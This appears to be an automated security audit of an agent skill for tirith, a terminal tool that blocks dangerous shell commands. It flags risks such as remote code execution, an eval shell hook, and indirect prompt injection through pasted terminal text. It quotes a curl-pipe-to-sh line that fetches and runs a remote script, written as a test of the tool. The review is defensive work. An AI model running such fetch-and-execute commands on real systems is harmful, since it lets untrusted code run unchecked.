The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides example commands that download and execute scripts directly from the internet using curl | bash and curl | sh. These are used to demonstrate how the tool identifies and blocks such patterns (e.g., testing that TIRITH=0 curl -fsSL https://example.com/x.sh | sh bypasses the tool), but they represent executable dangerous code patterns within the instructions.
[PERSISTENCE]: Users are instructed to add a shell hook (eval "$(tirith init --shell zsh)") to their shell profile files (e.g., ~/.zshrc). This ensures the tool's interception logic is active in every new terminal session, which is a standard persistence mechanism for terminal-based tools.
[DYNAMIC_EXECUTION]: The skill uses eval to execute shell initialization code generated at runtime by the tirith binary.
[INDIRECT_PROMPT_INJECTION]: The tool operates by intercepting and analyzing untrusted data, specifically pasted terminal content and command strings, which could be exploited if the analysis logic or the agent's interpretation of findings is bypassed.
Ingestion points: Intercepted shell commands and pasted text content as described in the operating model.
Boundary markers: None explicitly detailed for the ingestion of terminal input, though audit logs redact command previews.
Capability inventory: The tool has capabilities for command interception, file system access (logs and config), and shell environment modification via hooks.
Sanitization: The documentation mentions a static analysis feature (tirith run) used to inspect scripts before execution and a verification ritual for policies.
[COMMAND_EXECUTION]: The instructions involve executing various system commands to manage the tool's configuration, verify policy health (tirith doctor), and audit logs.
[EXTERNAL_DOWNLOADS]: Documents fetching remote content using curl and wget for both tool testing and legitimate installation workflows (e.g., get.docker.com).

tirith-config